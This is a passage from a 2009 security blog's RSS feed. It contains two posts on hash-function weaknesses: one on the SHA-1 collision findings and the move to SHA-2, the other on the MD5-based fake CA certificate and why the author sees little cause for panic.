			<wfw:commentRss>/2009/11/28/openssl-cve-2009-3555-security-fix-and-mod_ssl-client-authentication-breakage.html/feed</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>SHA-1 vulnerable : consider SHA-2</title>
		<link>/2009/05/10/sha-1-vulnerable-consider-sha-2.html</link>
		<pubDate>Sun, 10 May 2009 07:58:50 +0000</pubDate>
		<dc:creator><![CDATA[phocean]]></dc:creator>
				<category><![CDATA[Cryptography]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[Debian]]></category>
		<category><![CDATA[hash]]></category>
		<category><![CDATA[MD5]]></category>
		<category><![CDATA[RSA]]></category>
		<category><![CDATA[SHA-1]]></category>
		<category><![CDATA[SHA-2]]></category>
		<category><![CDATA[SHA-3]]></category>

		<guid isPermaLink="false">http://www.phocean.net/?p=358</guid>
		<guid isPermaLink="false">http://www.phocean.net/?p=358</guid>
		<description><![CDATA[Not long after md5, the computation progress has made another victim. Last week, it was made public that the SHA-1 hash function should be now considered vulnerable. The discovery bring up that the computation to create a collision hash has been dramaticaly reduced. As a consequence, the SHA-1 function can&#8217;t warranty anymore the uniquity &#8211;...<br><i class="icon-right-hand"></i> <span class="read-more"><a href="/2009/05/10/sha-1-vulnerable-consider-sha-2.html">Continue Reading</a></span>]]></description>
				<content:encoded><![CDATA[<p>Not long after <a title="md5 vulnerability" href="/2009/01/02/md5-in-your-ssl-certificate-no-need-to-panic.html">md5</a>, the computation progress has made another victim.</p>
<p>Last week, it was made public that the SHA-1 hash function should be now considered vulnerable. The discovery bring up that the computation to create a collision hash has been dramaticaly reduced. As a consequence, the SHA-1 function can&#8217;t warranty anymore the uniquity &#8211; and so the integrity &#8211; of the hashed object.</p>
<p>There are a few ressources :</p>
<ul>
<li><a title="Eurocrypt SHA-1 presentation" href="http://eurocrypt2009rump.cr.yp.to/837a0a8086fa6ca714249409ddfae43d.pdf">short PDF presentation</a> of the recent foundings</li>
<li><a title="NIST comments on SHA-1" href="http://csrc.nist.gov/groups/ST/hash/statement.html" target="_blank">NIST comments</a> about it</li>
</ul>
<p>This is the natural evolution of cryptography. Stronger cryptography is required against stronger CPU power. In this race, it is now suggested to migrate to SHA-2 whose digest lenghts range from 224 to 512 bits (instead of 160 bits for SHA-1). And until next time, where we will be urged to migrate to <a title="SHA-3" href="http://csrc.nist.gov/groups/ST/hash/sha-3/index.html" target="_blank">SHA-3</a> ;)</p>
<p>Debian, whose infrastructure was based on SHA-1 (package management, development) is quickly migrating all its keys right now. The <a title="Debian pgp upgrade procedure" href="http://www.debian-administration.org/users/dkg/weblog/48" target="_blank">procedure</a> the Debian people should follow implies a transition period, where the new key will be signed with the former key, until the latter is revoked. Thus until all peers are updated too, to avoid breaking all the signing infrastruture.</p>
<p>Myself, I ugraded my keys from DSA/1024 bits to RSA/4096 bits (with SHA-2 hashing), so it should be ok for a while. You will find <a title="pgp key" href="/pgp_key.txt">my new key</a> here or linked from the <a href="/contact-me" target="_self">contact page</a>.</p>
]]></content:encoded>
			</item>
		<item>
		<title>MD5 in your SSL certificate ? No need to panic !</title>
		<link>/2009/01/02/md5-in-your-ssl-certificate-no-need-to-panic.html</link>
		<comments>/2009/01/02/md5-in-your-ssl-certificate-no-need-to-panic.html#comments</comments>
		<pubDate>Fri, 02 Jan 2009 19:58:52 +0000</pubDate>
		<dc:creator><![CDATA[phocean]]></dc:creator>
				<category><![CDATA[Cryptography]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[MD5]]></category>
		<category><![CDATA[MiM]]></category>
		<category><![CDATA[SHA-1]]></category>
		<category><![CDATA[SSL]]></category>

		<guid isPermaLink="false">http://www.phocean.net/?p=316</guid>
		<guid isPermaLink="false">http://www.phocean.net/?p=316</guid>
		<description><![CDATA[MD5 was found vulnerable a few years ago. Recently, a team succeeded in producing a fake CA SSL certificate. MD5 or SHA-1 is the algorithm used to authenticate the peer in SSL messages. If it gets compromised, and using various combined technics, it becomes possible to do a MiM attack. But too much noise has...<br><i class="icon-right-hand"></i> <span class="read-more"><a href="/2009/01/02/md5-in-your-ssl-certificate-no-need-to-panic.html">Continue Reading</a></span>]]></description>
				<content:encoded><![CDATA[<p><strong>MD5</strong> was found vulnerable a few years ago. Recently, <a title="MD5 : fake CA SSL cert" href="http://www.secuobs.com/news/31122008-md5_pki_cluster_ps3_25c3_certificat.shtml" target="_blank">a team succeeded in producing a fake CA SSL certificate</a>.</p>
<p><strong>MD5</strong> or <strong>SHA-1</strong> is the algorithm used to authenticate the peer in SSL messages. If it gets compromised, and using various combined technics, it becomes possible to do a <strong>MiM</strong> attack.</p>
<p>But too much noise has been made about it. There is <a title="MD5" href="http://broadcast.oreilly.com/2009/01/new-pki-problem-resolved.html" target="_blank">a nice reaction</a>.</p>
<p>Indeed, it still requires a lot of efforts and conditions for the attack to be possible. And the CPU power is still huge : the researchers used not less than a cluster of <strong>200 PS3</strong> to drive the attack. Even with that hardware and engineering, it took until 3 days of intensive computation.</p>
<p>Not everyone can afford it, nor would have much motivation to attack a single user like this.</p>
<p>Security has always been a compromise between usuability and risk. Today, the risk concerning MD5 is still low enough to stop this wind of panic.</p>
<p>Let&#8217;s begin the migration to SHA-1 quietly.</p>
]]></content:encoded>
			<wfw:commentRss>/2009/01/02/md5-in-your-ssl-certificate-no-need-to-panic.html/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
	</channel>
</rss>
